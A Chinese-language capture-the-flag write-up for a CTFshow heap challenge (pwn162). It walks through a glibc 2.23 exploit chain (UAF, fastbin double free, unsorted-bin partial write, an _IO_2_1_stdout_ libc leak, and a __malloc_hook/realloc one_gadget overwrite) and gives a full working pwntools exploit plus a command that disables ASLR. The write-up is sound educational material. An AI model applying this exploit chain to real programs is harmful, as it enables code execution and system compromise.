这题算是目前在CTFshow做过的最有意思的一道了,记录一下
前情提示:本题利用了fastbin_double_free,unsortedbin_attack,利用_IO_2_1_stdout泄露libc,house of spirit,UAF
现在让我们来分析题目,查看菜单,给出了三个功能:add,view,delete。
view是生成一只猪,就看看吧。哈哈哈~~~但它没有打印功能,丸辣,看看怎么泄露libc
提示:好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客
感谢这位师傅的教程!!!强推所有
add函数(以下展示都是我加过注释后的)
这个函数malloc了两个chunk,s和buf,s这个相当于是一个结构体,看看注释理解一下?另外这题无法堆溢出了
delete函数
这里我们可以看到存在UAF漏洞,肯定要进行double_free的,现在想想它的fd指针可以怎么利用吧
(下面的fake_chunk1和fake_chunk2之后会讲,先留个大概)
思路:1.利用unsortedbin_attack,partial write改fd指针为fake_chunk1的地址,为后面的house of spirit做铺垫
2.利用double_free,将思路1中构造的,fd为fake_chunk1地址的chunk,挂入fastbins链中
3.利用house of spirit,(重点)将IO_2_1_stdout结构体中的flags变量修改为0xfbad1800,之后就可以接收到IO_2_1_stderr+192处的地址,然后计算libc
4.再次利用double_free,将fake_chunk2挂入fastbins链中
5.再次利用house of spirit,改realloc_hook为one_gadget的地址,malloc_hook为realloc_hook的地址,最后调用malloc函数即可获得shell
0.准备工作
chunk1和chunk2用于接下来的fouble_free,chunk3由于unsorted_bin_attack,chunk4用来避免chunk3被top_chunk合并
1.unsortedbin_attack(广义)
chunk3被free掉后会进入unsortedbins,那么add前它的fd指针是指向main_arena+0x58处的,于是我们可以通过partial_wirte,将其改为fake_chunk1的地址,下面标红框的是要修改的flags
这里要注意chunk5是chunk3分割出来的
通过划的红线,我们可以看到其实fd指针指向的地方和fake_chunk1的地址只有后四位是不一样的
至于为什么'\xdd\x25'呢,下图可以看到通过错位,我们能构造出一个合适的size为0x7f
tips:为了方便调试,这里我关闭了ASLR。实际上,只能确保这个地址的后三位为5dd,另外一位需要爆破
2.第一次double_free(+UAF)
首先是熟悉的三次free,这里要注意到chunk1的fd指针由于未置null,此时是chunk2的堆地址,于是修改其最后一个字节,改为chunk5的堆地址。这里的第一次add的前后情况如下:
3.house of spirit
经过前几次的add,这次就能申请到fake_chunk1了。先填充垃圾数据直到IO_2_1_stdout处,将flags改为0xfbad1800,之后程序执行流就被劫持了。下图是fake_chunk1被填充后的样子:
至于为什么打印出的是IO_2_1_stderr+192处地址,我还在想。。。(可能是调试发现的?)
4.第二次double_free(+UAF+house of spirit)
这里的思路与第一次差不多,只是内容变了。到这里我们应该就轻车熟路一些了,劫持mallo_hook函数,利用realloc函数来调整栈帧来是one_gadget生效,如果不知道可以看这篇文章,写得很好
使用realloc函数来调整栈帧让one_gadget生效 - ZikH26 - 博客园 (cnblogs.com)
5.完整exp(非爆破版本)
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
file = "./pwn162"
io = process(file)
elf = ELF(file)
libc = ELF("./libc-2.23.so")
gadget = [0x4525a,0xef9f4,0xf0897]
def add(size,data,data1):
io.sendlineafter(b"Your choice : ",b"1")
io.sendlineafter(b"size of the daniu's name: ",str(size))
io.sendafter(b"daniu's name:",data)
io.sendafter(b"daniu's message:",data1)
def delete(idx):
io.sendlineafter(b"Your choice : ",b"3")
io.sendlineafter(b"daniu's index:",str(idx))
offset = b'\xDD\x25'
#00000000000000000000000000000000000000000000000
add(0x20,b"aaaa",b"aaaa") #0
add(0x68,b"aaaa",b"aaaa") #1
add(0x68,b"aaaa",b"aaaa") #2
add(0x7f,b"aaaa",b"aaaa") #3 利用unsortedbins attack
add(0x18,b"aaaa",b"aaaa") #4
#11111111111111111111111111111111111111111111111
delete(0)
delete(3)
offset = b'\xDD\x25'
add(0x60,offset,offset) #5 修改chunk3被分割前的fd指针(它是指向main_arena+0x58处的,和libc有关),为后面fake_chunk1的挂入做铺垫
#只知道IO_file地址的后三位为5dd,第四位需要爆破
#22222222222222222222222222222222222222222222222
delete(1)
delete(2)
delete(1) #(注意chunk1的fd指针未置空,是chunk2的堆地址)
add(0x68,b"\xd0",b"bbbb") #6 堆风水问题 将chunk5挂入fastbins链,而chunk5->fake_chunk1
add(0x68,b"bbbb",b"bbbb") #7
add(0x68,b"bbbb",b"bbbb") #8
add(0x68,b"bbbb",b"bbbb") #9
#33333333333333333333333333333333333333333333333
io.sendlineafter(b"Your choice : ",b"1")
io.sendlineafter(b"size of the daniu's name: \n",str(0x68))
io.sendafter(b"daniu's name:\n",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
pause()
libc_base = libc_base-libc.sym['_IO_2_1_stderr_'] - 192
io.sendlineafter(b"daniu's message:",b"1")
#44444444444444444444444444444444444444444444444
delete(1)
delete(2)
delete(1)
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[0]
add(0x68,p64(fake_chunk),b"aaaa")
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")
add(0x68,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),b"a")
io.sendlineafter(b"Your choice : ",b"1")
io.interactive()
6.其他
如果你想拿我的exp进行调试,本次libc版本为2.23-0ubuntu3_amd64(非远程libc版本),可以从glibc-all-in-one中下载,然后进行patchelf;另外,可以使用该命令
$ sudo sysctl -w kernel.randomize_va_space=0,将ASLR关闭,不然本地不仅要爆破IO_FILE的地址(就是下图这样),还要利用realloc来不断试错调整栈帧,很难受的关于打远程,可以发现如果是本地爆破的话,失败的话只会提示memory corruption和另一种没有回显的情况,但远程会回显timeout或memory corruption,借助这个信息来控制循环条件爆破,如果是EOF则说明爆破成功,但栈帧调整不对或one_gadget不对。附上远程成功图片: